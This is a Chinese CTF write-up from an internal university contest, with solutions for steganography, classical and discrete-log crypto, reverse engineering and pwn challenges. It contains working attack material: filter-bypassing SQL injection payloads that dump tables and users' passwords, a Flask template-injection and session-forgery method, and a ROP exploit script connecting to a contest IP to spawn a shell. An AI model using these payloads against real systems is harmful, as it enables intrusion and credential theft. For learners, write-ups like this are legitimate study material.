WustAis第三次内部赛WriteUp

  • MISC
  • 佬涩披
  • Sounds
  • CRYPTO
  • pig🐷
  • REPLACE
  • 梨son对数
  • WEB
  • EasyWeb
  • Login as admin
  • RE
  • 不会有人看不懂C吧
  • PWN
  • pwntools
  • Command
  • Command 2
  • ROP
  • miss something


MISC

佬涩披

stegsolve方向键点几下就有了

Sounds

Audacity频谱图是flag的倒序

CRYPTO

pig🐷

猪圈密码

REPLACE

明文的每个字母都对应密文里某个特定的字母

梨son对数

from Crypto.Util.number import *
import random
n = 43241
m = random.randint(2, n-1) | 1
c = pow(m, flag, n)
print 'm = ' + str(m)
print 'c = ' + str(c)
# m = 7
# c = 35246

把网鼎杯的数据改小了,用在线网站工具离散对数计算器即可求解

taro 提示process不存在_信息安全


把3373md5加密即可

WEB

EasyWeb

联合注入,过滤了union, select, information和空格,前三个可以用双写绕过,空格用/**/绕过
payload如下

#爆表名,得到表名有flag,flag_one,users
1/**/and/**/1=2/**/uunionnion/**/sselectelect/**/1,2,group_concat(table_name)/**/from/**/iinformationnformation_schema.tables/**/where/**/table_schema=database()#
#爆字段名,注意用16进制绕过表名,最后发现flag在users表中
1/**/and/**/1=2/**/uunionnion/**/sselectelect/**/1,2,group_concat(column_name)/**/from/**/iinformationnformation_schema.columns/**/where/**/table_name=0x7573657273#
#查询数据,用group_concat得出多组数据
1/**/and/**/1=2/**/uunionnion/**/sselectelect/**/1,group_concat(username),group_concat(password)/**/from/**/users#

Login as admin

考点是flask的session伪造,密钥需要通过ssti模板注入得到
题目给的源码如下

import flask
from flag import flag
from key import key
app = flask.Flask(__name__)
app.secret_key = key


@app.route("/")
def index():
	flask.session['user'] = 'guest'
	return "Please login as admin"


@app.route("/admin")
def admin():
	if flask.session['user'] == 'admin':
		return str(flag)
	else:
		return "Please login as admin"


@app.errorhandler(404)
def page_not_found(error):
    referrer = flask.request.headers.get("referer")
    if referrer is None:
    	referrer = '/'
    
    if not valid_url(referrer):
    	referrer = '/'
    
    html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

    return flask.render_template_string(html), 404


def valid_url(url):
    """ Check if given url is valid """
    host = flask.request.host_url
    if not url.startswith(host):
        return False  # Not from my server
    if len(url) - len(host) > 16:
        return False  # Referer may be also 404

    return True


if __name__ == '__main__':
    app.run(
        host='0.0.0.0',
        port='8000',
        debug=False
    )

1.admin函数的意思是在/admin目录的session里需要让user==admin才能拿到flag
2.valid_url函数对url进行了限制,必须以host_url的内容开头,并且长度差值不能大于16,所以无法进行文件包含或RCE
3.处理404页面的page_not_found函数存在模板注入,Referer,因Referer长度也有限制,所以就用{{config}}来读取配置

taro 提示process不存在_html_02

成功获取密钥,下载工具flask-session-cookie-manager 使用工具的命令对session进行解码,把guest改成admin之后再进行编码,生成新的session

taro 提示process不存在_taro 提示process不存在_03

访问/admin目录,用burpsuite抓包,把session改成新的即可

RE

不会有人看不懂C吧

拖入ida按F5反汇编查看伪代码,主要部分如下:

taro 提示process不存在_信息安全_04


字符串s即最后的flag,长度为29,字符数组num2的值由num和s异或运算得到,num2和num3的值相等,num3和num的值都可以通过双击查看到,写个脚本逆向求得s的值

taro 提示process不存在_flask_05


taro 提示process不存在_html_06

#include<iostream>
using namespace std;
int main()
{
	char n[30]={9,0xa,0xf,0x17,7,0x18,0xc,6,1,0x10,3,0x11,0xe,0x1c,0xb,0x12,0x1b,0x16,4,0xd,0x13,0x14,0x15,2,0x19,5,0x1a,8};
	char n2[30]={0x7d,0x5e,0x6c,0x30,0x7e,0x68,0x72,0x7c,0x29,0x6f,0x66,0x3e,0x3c,0x52,0x6b,0x6e,0x62,0x67,0x77,0x24,0x7c,0x74,0x73,0x70,0x76,0x46,0x7f,0x44,0x6e};
	char s[30];
	for (int i = 0; i <= 28; ++i )
		s[i]=n2[n[i]]^n[i];
	cout<<s;
	return 0;
}

taro 提示process不存在_信息安全_07

PWN

pwntools

taro 提示process不存在_信息安全_08


nc之后说flag藏在了里面,下pwntools即可拿到flag,想到了pwntools的recv可以显示出被\r隐藏的句子

taro 提示process不存在_html_09


把\n和\r之间的字符串base64解码即可

Command

taro 提示process不存在_安全_10


nc之后输入/bin/sh后ls后cat flag.txt

Command 2

taro 提示process不存在_taro 提示process不存在_11


限制了长度为2,而$0相当于/bin/sh,所以这次输入$0即可,其它同上

ROP

taro 提示process不存在_信息安全_12


IDA中shift+F12

taro 提示process不存在_安全_13


双击查看/bin/sh的地址

taro 提示process不存在_flask_14


双击查看system的地址

taro 提示process不存在_信息安全_15


计算偏移量

taro 提示process不存在_taro 提示process不存在_16


taro 提示process不存在_安全_17


0x4-(-0x38)=60

payload如下:

from pwn import *
#sh = process('./rop')
sh=remote('121.41.113.245',10003)
binsh_addr = 0x08049a20
system_plt = 0x080483D0
payload = flat(['a' * 60, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()

这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。

taro 提示process不存在_信息安全_18

miss something

taro 提示process不存在_html_19


scanf任意地址改写,第一次输入的是需要被改的目标函数地址,即这里的puts函数,第二次输入的是改写成的函数的地址,即system函数,要让puts(’/bin/sh’)变为system(’/bin/sh’),往puts的GOT表写system的PLT表。

taro 提示process不存在_安全_20


taro 提示process不存在_html_21